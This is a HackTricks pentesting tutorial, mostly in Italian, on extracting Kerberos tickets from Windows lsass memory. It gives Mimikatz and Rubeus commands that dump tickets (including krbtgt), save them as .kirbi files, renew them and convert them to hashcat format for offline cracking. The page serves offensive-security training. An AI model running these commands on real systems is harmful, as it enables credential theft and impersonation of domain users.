hacktricks/network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md

Harvesting tickets from Windows

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!
• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

{% endhint %}

I ticket in Windows sono gestiti e memorizzati dal processo lsass (Local Security Authority Subsystem Service), responsabile della gestione delle politiche di sicurezza. Per estrarre questi ticket, è necessario interfacciarsi con il processo lsass. Un utente non amministrativo può accedere solo ai propri ticket, mentre un amministratore ha il privilegio di estrarre tutti i ticket sul sistema. Per tali operazioni, gli strumenti Mimikatz e Rubeus sono ampiamente utilizzati, ciascuno dei quali offre comandi e funzionalità diverse.

Mimikatz

Mimikatz è uno strumento versatile che può interagire con la sicurezza di Windows. Viene utilizzato non solo per estrarre ticket, ma anche per varie altre operazioni legate alla sicurezza.

# Extracting tickets using Mimikatz
sekurlsa::tickets /export

Rubeus

Rubeus è uno strumento specificamente progettato per l'interazione e la manipolazione di Kerberos. Viene utilizzato per l'estrazione e la gestione dei ticket, così come per altre attività correlate a Kerberos.

# Dumping all tickets using Rubeus
.\Rubeus dump
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<BASE64_TICKET>"))

# Listing all tickets
.\Rubeus.exe triage

# Dumping a specific ticket by LUID
.\Rubeus.exe dump /service:krbtgt /luid:<luid> /nowrap
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<BASE64_TICKET>"))

# Renewing a ticket
.\Rubeus.exe renew /ticket:<BASE64_TICKET>

# Converting a ticket to hashcat format for offline cracking
.\Rubeus.exe hash /ticket:<BASE64_TICKET>

Quando utilizzi questi comandi, assicurati di sostituire i segnaposto come <BASE64_TICKET> e <luid> con il ticket codificato in Base64 e l'ID di accesso effettivi. Questi strumenti offrono funzionalità estese per la gestione dei ticket e l'interazione con i meccanismi di sicurezza di Windows.

Riferimenti

• https://www.tarlogic.com/en/blog/how-to-attack-kerberos/

{% hint style="success" %} Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks

• Controlla i piani di abbonamento!
• Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
• Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos di github.

{% endhint %}